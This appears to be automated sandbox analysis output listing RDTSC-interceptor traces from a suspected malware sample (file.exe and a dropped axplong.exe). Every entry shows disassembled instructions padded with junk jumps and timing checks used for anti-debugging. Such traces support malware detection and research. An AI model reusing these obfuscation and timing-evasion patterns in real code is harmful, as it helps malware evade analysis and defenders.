Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01DE second address: 4CD01FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov di, si 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD01FF second address: 4CD0246 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD4A4ED8678h 0x00000008 adc cx, 8FC8h 0x0000000d jmp 00007FD4A4ED866Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 call 00007FD4A4ED8676h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0246 second address: 4CD0256 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 18E6h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0256 second address: 4CD025A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD025A second address: 4CD0260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0260 second address: 4CD029A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8670h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD4A4ED8670h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 jmp 00007FD4A4ED866Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD029A second address: 4CD02F4 instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FD4A4C5469Bh 0x00000014 sbb ah, 0000002Eh 0x00000017 jmp 00007FD4A4C546A9h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FD4A4C546A0h 0x00000023 sbb si, 7BA8h 0x00000028 jmp 00007FD4A4C5469Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02F4 second address: 4CD0347 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4A4ED866Fh 0x00000008 pop eax 0x00000009 jmp 00007FD4A4ED8679h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push dword ptr [ebp+08h] 0x00000014 jmp 00007FD4A4ED866Eh 0x00000019 push 3CED9789h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD4A4ED866Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0347 second address: 4CD039B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A4C546A1h 0x00000008 pushfd 0x00000009 jmp 00007FD4A4C546A0h 0x0000000e jmp 00007FD4A4C546A5h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xor dword ptr [esp], 3CEC978Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD4A4C5469Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD03C2 second address: 4CD03DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b movzx eax, al 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov eax, 590EB8E7h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD03DB second address: 4CD03E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD03E1 second address: 4CD040C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8675h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD4A4ED866Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C974 second address: F1C998 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4A4C546A9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 95F2E3 second address: 95F2E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AE9C3E second address: AE9C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AE8FA4 second address: AE8FAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AE8FAA second address: AE8FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AE8FB4 second address: AE8FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AE910E second address: AE9112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AE956F second address: AE957D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jne 00007FD4A4ED8666h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEAE9F second address: AEAEA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEAEA5 second address: AEAEE3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop esi 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 jmp 00007FD4A4ED8674h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD4A4ED866Ch 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEAEE3 second address: AEAEF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4C546A0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEAF4E second address: AEAFCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8670h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FD4A4ED8668h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 jmp 00007FD4A4ED8677h 0x0000002d call 00007FD4A4ED8669h 0x00000032 jnc 00007FD4A4ED8678h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FD4A4ED866Bh 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEAFCB second address: AEAFD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEAFD1 second address: AEAFFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 jmp 00007FD4A4ED866Eh 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEAFFC second address: AEB001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB001 second address: AEB075 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4A4ED8670h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jmp 00007FD4A4ED866Fh 0x00000013 pop eax 0x00000014 movsx edx, si 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FD4A4ED8668h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 add dword ptr [ebp+122D25ADh], ebx 0x00000039 push 00000000h 0x0000003b mov edx, dword ptr [ebp+122D3972h] 0x00000041 push 00000003h 0x00000043 mov edi, esi 0x00000045 call 00007FD4A4ED8669h 0x0000004a pushad 0x0000004b push ebx 0x0000004c je 00007FD4A4ED8666h 0x00000052 pop ebx 0x00000053 push ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB075 second address: AEB0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD4A4C546A9h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB0A1 second address: AEB0B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A4ED8670h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB0B6 second address: AEB0C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB0C4 second address: AEB0C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB183 second address: AEB236 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD4A4C546A9h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 07F38B51h 0x00000012 pushad 0x00000013 jl 00007FD4A4C5469Ch 0x00000019 mov esi, dword ptr [ebp+122D3A46h] 0x0000001f mov edx, dword ptr [ebp+122D1C2Fh] 0x00000025 popad 0x00000026 push 00000003h 0x00000028 mov di, B704h 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D25F3h], ebx 0x00000034 push 00000003h 0x00000036 or ecx, 60972FFDh 0x0000003c call 00007FD4A4C54699h 0x00000041 push esi 0x00000042 push edx 0x00000043 jmp 00007FD4A4C546A1h 0x00000048 pop edx 0x00000049 pop esi 0x0000004a push eax 0x0000004b jnl 00007FD4A4C5469Ch 0x00000051 mov eax, dword ptr [esp+04h] 0x00000055 pushad 0x00000056 push ecx 0x00000057 jnp 00007FD4A4C54696h 0x0000005d pop ecx 0x0000005e push esi 0x0000005f jo 00007FD4A4C54696h 0x00000065 pop esi 0x00000066 popad 0x00000067 mov eax, dword ptr [eax] 0x00000069 jc 00007FD4A4C546A3h 0x0000006f jmp 00007FD4A4C5469Dh 0x00000074 mov dword ptr [esp+04h], eax 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b jo 00007FD4A4C54696h 0x00000081 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB236 second address: AEB27E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4A4ED8666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD4A4ED8675h 0x0000000f popad 0x00000010 pop eax 0x00000011 movzx esi, ax 0x00000014 lea ebx, dword ptr [ebp+1245FD9Dh] 0x0000001a mov edx, dword ptr [ebp+122D3962h] 0x00000020 xchg eax, ebx 0x00000021 jmp 00007FD4A4ED8670h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB27E second address: AEB296 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB296 second address: AEB2A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD4A4ED8666h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB35D second address: AEB39A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FD4A4C546A7h 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007FD4A4C5469Fh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: AEB39A second address: AEB3A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FD4A4ED8666h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80337 second address: 4C80346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C5469Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80346 second address: 4C8034C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8034C second address: 4C80350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80350 second address: 4C80354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80354 second address: 4C803A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a jmp 00007FD4A4C546A7h 0x0000000f push 31C9C541h 0x00000014 pushad 0x00000015 mov ax, bx 0x00000018 mov eax, edx 0x0000001a popad 0x0000001b xor dword ptr [esp], 46880559h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD4A4C546A6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803A0 second address: 4C803A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803A6 second address: 4C803AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803AA second address: 4C80468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 3D660330h 0x0000000d pushad 0x0000000e mov edx, ecx 0x00000010 push ecx 0x00000011 pushfd 0x00000012 jmp 00007FD4A4ED8677h 0x00000017 xor esi, 199EAC8Eh 0x0000001d jmp 00007FD4A4ED8679h 0x00000022 popfd 0x00000023 pop esi 0x00000024 popad 0x00000025 xor dword ptr [esp], 4A5EAD30h 0x0000002c jmp 00007FD4A4ED8677h 0x00000031 mov eax, dword ptr fs:[00000000h] 0x00000037 jmp 00007FD4A4ED8676h 0x0000003c nop 0x0000003d jmp 00007FD4A4ED8670h 0x00000042 push eax 0x00000043 pushad 0x00000044 mov ecx, 53F879F3h 0x00000049 popad 0x0000004a nop 0x0000004b jmp 00007FD4A4ED8676h 0x00000050 sub esp, 1Ch 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80468 second address: 4C8046C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8046C second address: 4C80489 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80489 second address: 4C804DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A4C546A3h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FD4A4C546A6h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FD4A4C5469Ch 0x0000001b or ah, 00000018h 0x0000001e jmp 00007FD4A4C5469Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804DA second address: 4C804E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4ED866Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804E9 second address: 4C805B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FD4A4C5469Eh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FD4A4C5469Ch 0x0000001a add al, 00000008h 0x0000001d jmp 00007FD4A4C5469Bh 0x00000022 popfd 0x00000023 mov eax, 080DA87Fh 0x00000028 popad 0x00000029 pushfd 0x0000002a jmp 00007FD4A4C546A4h 0x0000002f jmp 00007FD4A4C546A5h 0x00000034 popfd 0x00000035 popad 0x00000036 push eax 0x00000037 pushad 0x00000038 mov ecx, edx 0x0000003a mov edx, 64207FAEh 0x0000003f popad 0x00000040 xchg eax, esi 0x00000041 jmp 00007FD4A4C546A5h 0x00000046 xchg eax, edi 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a jmp 00007FD4A4C546A3h 0x0000004f call 00007FD4A4C546A8h 0x00000054 pop ecx 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C805B9 second address: 4C80605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8670h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dh, CEh 0x0000000d pushad 0x0000000e mov bl, ah 0x00000010 jmp 00007FD4A4ED8675h 0x00000015 popad 0x00000016 popad 0x00000017 xchg eax, edi 0x00000018 jmp 00007FD4A4ED866Eh 0x0000001d mov eax, dword ptr [7743B370h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80605 second address: 4C80609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80609 second address: 4C8060D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8060D second address: 4C80613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80613 second address: 4C80663 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8674h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c jmp 00007FD4A4ED8670h 0x00000011 xor eax, ebp 0x00000013 pushad 0x00000014 mov edi, 5E25ABA2h 0x00000019 popad 0x0000001a nop 0x0000001b jmp 00007FD4A4ED8674h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80663 second address: 4C80669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80669 second address: 4C8066E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8066E second address: 4C806BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FD4A4C5469Bh 0x0000000a sbb ah, FFFFFFFEh 0x0000000d jmp 00007FD4A4C546A9h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD4A4C546A8h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C806BB second address: 4C806C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C806C1 second address: 4C80710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b pushad 0x0000000c jmp 00007FD4A4C5469Bh 0x00000011 mov bh, ah 0x00000013 popad 0x00000014 mov dword ptr fs:[00000000h], eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FD4A4C546A1h 0x00000021 add ax, 8AF6h 0x00000026 jmp 00007FD4A4C546A1h 0x0000002b popfd 0x0000002c push eax 0x0000002d push edx 0x0000002e mov bx, cx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80710 second address: 4C80714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80714 second address: 4C807CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov esi, dword ptr [ebp+08h] 0x0000000a pushad 0x0000000b mov ecx, 464FB3FBh 0x00000010 call 00007FD4A4C546A0h 0x00000015 jmp 00007FD4A4C546A2h 0x0000001a pop eax 0x0000001b popad 0x0000001c mov eax, dword ptr [esi+10h] 0x0000001f jmp 00007FD4A4C546A1h 0x00000024 test eax, eax 0x00000026 jmp 00007FD4A4C5469Eh 0x0000002b jne 00007FD517313C4Eh 0x00000031 jmp 00007FD4A4C546A0h 0x00000036 sub eax, eax 0x00000038 jmp 00007FD4A4C546A1h 0x0000003d mov dword ptr [ebp-20h], eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007FD4A4C546A3h 0x00000049 add cl, FFFFFFFEh 0x0000004c jmp 00007FD4A4C546A9h 0x00000051 popfd 0x00000052 mov ah, B9h 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C807CF second address: 4C80843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 694C8A3Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebx, dword ptr [esi] 0x0000000f jmp 00007FD4A4ED8670h 0x00000014 mov dword ptr [ebp-24h], ebx 0x00000017 pushad 0x00000018 mov edi, ecx 0x0000001a pushfd 0x0000001b jmp 00007FD4A4ED866Ah 0x00000020 xor si, 1A58h 0x00000025 jmp 00007FD4A4ED866Bh 0x0000002a popfd 0x0000002b popad 0x0000002c test ebx, ebx 0x0000002e jmp 00007FD4A4ED8676h 0x00000033 je 00007FD517597ABAh 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c call 00007FD4A4ED866Dh 0x00000041 pop esi 0x00000042 mov dh, 9Eh 0x00000044 popad 0x00000045 rdtsc
